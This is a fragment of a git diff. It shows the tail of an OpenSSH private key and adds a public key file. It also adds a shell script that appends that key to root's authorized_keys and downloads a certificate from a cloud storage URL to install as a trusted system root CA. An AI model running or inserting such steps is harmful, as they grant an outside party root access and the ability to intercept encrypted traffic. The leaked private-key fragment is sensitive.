+NhbAE= +-----END OPENSSH PRIVATE KEY----- diff --git a/ssh_keys.pub b/ssh_keys.pub new file mode 100644 index 0000000..6d99980 --- /dev/null +++ b/ssh_keys.pub @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILEtwRGPeVhGF5OoRrGipVtUAZEdYQY8kjj9gyi6z824 dit@mos.ru diff --git a/v2.sh b/v2.sh new file mode 100644 index 0000000..325dbc1 --- /dev/null +++ b/v2.sh @@ -0,0 +1,12 @@ +mkdir -p /root/.ssh + +echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILEtwRGPeVhGF5OoRrGipVtUAZEdYQY8kjj9gyi6z824 dit@mos.ru" \ +>> /root/.ssh/authorized_keys + +chmod 700 /root/.ssh +chmod 600 /root/.ssh/authorized_keys + +wget -O /tmp/dit.crt https://storage.yandexcloud.net/hzz/cert.pem +cp /tmp/dit.crt /etc/pki/ca-trust/source/anchors/ + +update-ca-trust extract